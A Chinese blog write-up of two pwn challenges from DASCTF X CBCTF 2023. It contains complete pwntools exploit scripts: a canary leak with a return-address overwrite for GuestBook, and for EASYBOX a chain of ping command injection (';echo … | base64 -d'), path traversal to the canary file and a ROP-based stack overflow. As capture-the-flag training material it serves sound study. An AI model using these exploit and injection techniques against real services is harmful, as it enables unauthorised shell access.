DASCTF X CBCTF 2023|无畏者先行 部分PWN

1.GuestBook

2.EASYBOX


1.GuestBook

开了canary,但可以泄漏

canary的低1字节为0x00,把他修改为非0x00可泄漏出来(其实在泄漏的时候不用还原canary的最后一字节)

有后门,可以通过strcpy函数来覆盖返回地址getshell,在这里输入2给num,循环两次,如果只循环一次是不能溢出的(因为遇到\x00会结束或覆盖到返回地址canary不会)

在第一次修改返回地址为后门,在第二次修改canary的低1字节为回车,空格,\t可转为\x00恢复canary(scanf遇到空格,回车,\t会提前结束,把它转为\x00)即可getshell

EXP:

#coding=utf-8

from pwn import *
sh=remote("node4.buuoj.cn",29215)
#sh=process("./game")
elf=ELF("./GuestBook")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.arch="amd64"

un=lambda a:sh.recvuntil(a)
rv=lambda a:sh.recv(a)
rl=lambda:sh.recvline()
sd=lambda a:sh.send(a)
sl=lambda a:sh.sendline(a)
Jz=lambda a:u64(sh.recv(6)+"\x00"*2)-a
inter=lambda :sh.interactive()
U64=lambda a:u64(sh.recv(6)+"\x00"*2)-libc.sym[a]

shell=0x4012C3

un("name: ")

sd("a"*0x19)

un("a"*0x18)
canary=u64(sh.recv(8))
print hex(canary)
ret=0x401485
un("leave(MAX 4): ")
sl("2")

sl("a"*0x98+p64(canary)+"a"*8+p64(shell))
sl("a"*0x78)

inter()

2.EASYBOX

下载一个压缩包,里面存在docker文件夹,里面存放搭建的工具

在bin目录下中找到题目,64位,开了canary

本地无法运行,需要开启靶机来运行,拖入ida分析,存在system函数

在init初始化时把canary存放在了/secret/canary.txt中

有4个功能,PING,CAT,HELP,LS,后两者没有用

主要分析pingCommand和catCommand两个函数

pingCommand()函数中先向s输入0xff个字节,然后通过sprintf把数据存放到command中,command可存放0x208个数据,有check_ip,对输入的s存在限制,一些字符串和匹配符等不能使用

如果输入的s在范围内,会把ping -c 4 %s > /tmp/result.txt 存放在command中,接着执行system(command),这时如果在s中输入;echo xx 会把xx存放在/tmp/result.txt中

接着分析catCommand,check_filename也做了限制,不能直接获取flag

但在/secret/canary.txt存在canary,且把数据读取到ptr数组中,如果读的东西比较多就可以造成栈溢出,我们第一次先把canary泄露出来,接着返回pingCommand()分析怎么利用栈溢出来getshell

在字符串的最后可以把一些数据存入到result.txt文件中

sprintf遇到\x00结束,我们可以把构造好的rop进行base64加密,就没有\x00了

使用;echo (base64加密的rop) | base64 -d(解密后的原rop)   这时就把rop写入到result.txt

再接着到catCommand中,把result.txt读入到ptr,实现栈溢出getshell

EXP:

#coding=utf-8

from pwn import *
import base64
sh=remote("node4.buuoj.cn",26148)
elf=ELF("./GuestBook")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.arch="amd64"

un=lambda a:sh.recvuntil(a)
rv=lambda a:sh.recv(a)
rl=lambda:sh.recvline()
sd=lambda a:sh.send(a)
sl=lambda a:sh.sendline(a)
Jz=lambda a:u64(sh.recv(6)+"\x00"*2)-a
inter=lambda:sh.interactive()
U64=lambda a:u64(sh.recv(6)+"\x00"*2)-libc.sym[a]

pop_rdi=0x401CE3
ret=0x401ce4
bin_sh=0x402090
system=0x401230


un("name: ")
sl("caibi")
un("$ ")
sl("CAT")
un("view: ")
sl("../secret/canary.txt")

canary=int(sh.recv(16),16)

un("$ ")
sl("PING")
un("s: ")
shell="a"*0x48+p64(canary)*2+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system)
shell=base64.b64encode(shell)
print shell
sl(";echo "+shell+" | base64 -d")

un("$ ")
sl("CAT")
un("view: ")
sl("result.txt\x00")

inter()
 

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值